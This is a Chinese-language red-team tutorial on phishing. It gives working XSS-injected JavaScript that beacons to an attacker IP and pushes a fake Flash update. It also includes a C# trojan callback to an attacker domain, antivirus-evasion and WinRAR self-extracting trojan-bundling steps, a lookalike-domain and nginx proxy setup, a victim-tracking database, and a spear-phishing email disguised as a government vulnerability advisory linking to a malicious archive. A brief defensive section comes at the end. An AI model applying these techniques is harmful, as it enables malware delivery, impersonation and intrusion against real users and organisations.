红队攻防系列之花式鱼竿钓鱼篇
字数 1283 2025-08-25 22:59:09
红队攻防系列:花式鱼竿钓鱼技术详解
0x00 钓鱼攻击概述
钓鱼攻击是红队行动中获取初始访问权限的重要手段,其核心在于"思路要骚"。一个成功的钓鱼攻击需要从细节入手,将看似危险的攻击点伪装成最安全的形式,实现蓝队无感知的渗透。
0x01 鱼钩隐藏技术
1.1 XSS注入钓鱼
通过XSS注入恶意JS脚本实现钓鱼加载:
<script src="/hacked.js"></script>
hacked.js关键功能:
- UA检测:区分PC端和移动端
- 后台API查询:检查目标是否已上钩
- 混淆和命名技巧:使用原生ajax提高兼容性
// 重写alert和confirm函数避免安全提示
window.alert = function(name){
var iframe = document.createElement("IFRAME");
iframe.style.display = "none";
iframe.setAttribute("src", 'data:text/plain,');
document.documentElement.appendChild(iframe);
window.frames[0].window.alert(name);
iframe.parentNode.removeChild(iframe);
}
// UA检测函数
function isPc() {
if(navigator.userAgent.match(/(iPhone|Android)/i)) {
return false;
} else {
return true;
}
}
// 后台检查函数
function isRise() {
var xmlHttp;
if(window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest();
} else {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlHttp.open("GET", "http://101.200.157.195:8085/api.php?m=api&do=isExist", "true");
xmlHttp.send();
xmlHttp.onreadystatechange = function() {
if(xmlHttp.readyState == 4 && xmlHttp.status == 200) {
var resData = xmlHttp.responseText;
if(resData == "ok") {
} else {
download();
}
}
}
}
// 下载函数
function download(){
alert("您的FLASH版本过低,请尝试升级后访问该页面!");
window.location.href = "http://xxx/";
}
// 主入口
window.onload = function(){
if(!isPc()){
alert("当前页面只能在电脑PC端中加载,请稍后重试...");
} else {
isRise();
}
}
1.2 钓鱼网站伪造
域名选择:
- 使用近似域名服务如freenom.com获取相似域名
- 示例:伪造flash.cn使用flash-cn.cf
技术实现:
- 使用香港主机做nginx反向代理绕过备案
- 木马命名为flashplayerpp_install_cn.exe
- 使用docker容器部署便于更新和管理
docker cp host_path containerID:/var/www/html/cn/
0x02 木马处理技术
2.1 免杀技术
采用shellcode加密方式绕过杀软检测,关键点:
- 自定义加载器封装感知函数
- 使用C#编写后台通信模块
using System;
using System.Net;
using System.Threading;
namespace testHttp {
class Program {
static void Main(string[] args) {
ThreadStart childref = new ThreadStart(sendLog);
Thread childThread = new Thread(childref);
childThread.Start();
}
public static void sendLog() {
string url = "http://hackerc.com/api.php?m=api&do=myLogk";
HttpWebRequest request = (HttpWebRequest)HttpWebRequest.Create(url);
request.Method = "HEAD";
request.Timeout = 100000;
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
}
}
}
编译选项:
- 使用window窗口方式编译
- 实现无控制台提示静默执行
2.2 隐蔽捆绑技术
使用WinRAR自解压捆绑木马与正常程序:
-
选择木马和正常程序添加到压缩文件,创建自解压
-
高级自解压选项设置:
- 解压路径:C:\windows\temp
- 安装选项:分别执行木马和正常程序
- 静默模式:隐藏所有
- 更新模式:解压并更新
- 覆盖模式:覆盖所有文件
-
使用Restorator工具修改图标和文件名,使其与正常程序一致
0x03 鱼竿感知系统
3.1 数据库设计
CREATE DATABASE fishperception;
USE fishperception;
CREATE TABLE fish (
`id` INT AUTO_INCREMENT,
`ip` VARCHAR(200) DEFAULT NULL,
`ua` VARCHAR(255) DEFAULT NULL,
`count` INT DEFAULT NULL,
`status` VARCHAR(10) DEFAULT NULL,
primary key(`id`)
);
3.2 API接口设计
api.php?m=api&do=myLog:木马执行时调用的APIapi.php?m=api&do=isExist:JS判断目标是否已上线
3.3 部署方案
使用LAMP的docker环境快速部署:
docker-compose up --build
3.4 Nginx反向代理配置
server {
listen 80;
server_name flash-cn.cf;
location / {
proxy_redirect off;
proxy_set_header Host $host;
proxy_set_header X-Real-Ip $remote_addr;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_pass http://139.159.x.x:8005;
}
}
0x04 钓鱼场景选择
4.1 邮箱钓鱼技术
可信邮箱选择:
- 优先选择同单位域名邮箱
- 次选高权邮箱如gov等
攻击策略:
- 针对性发送,避免大规模群发
- 根据组织结构选择中间人目标
- 精心设计邮件内容
钓鱼模板示例:
一、漏洞情况分析
Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎...
2020年6月23日,国家信息安全漏洞共享平台(CNVD)收录了由杭州安恒信息技术股份有限公司报送的Apache Spark远程代码执行漏洞...
CNVD对该漏洞的综合评级为"高危"。
二、漏洞影响范围
漏洞影响的产品版本包括:Apache Spark <=2.4.5
三、漏洞处置建议
目前,Apache官方已发布新版本修复此漏洞,建议用户立即升级至最新版本:
https://hackker.com/360/xx.zip
4.2 SPF配置漏洞利用
检测方法:
- 在线测试:https://emkei.cz/
- 命令行检测:
nslookup -type=txt domain
利用工具:
- Swaks:邮件伪造工具
0x05 实战技巧
- 社交工程:利用目标好奇心设计诱饵
- 心理压迫:通过言语制造紧迫感
- 迂回策略:当首次尝试失败时的备用方案
- 及时收手:达到目的后适时终止攻击
0x06 防御建议
- 用户安全意识培训
- 完善SPF、DKIM、DMARC配置
- 终端防护软件部署
- 网络流量监控与分析
- 多因素认证实施
0x07 总结
钓鱼攻击是一门需要精细操作和创新的技术,成功的钓鱼攻击需要考虑:
- 鱼钩的隐蔽性
- 木马的免杀能力
- 感知系统的完善性
- 钓鱼场景的选择
- 社会工程学的运用
红队应不断研究新的钓鱼技术和防御规避方法,同时蓝队也应了解这些技术以加强防御。攻防对抗是一个持续演进的过程,需要双方不断学习和适应。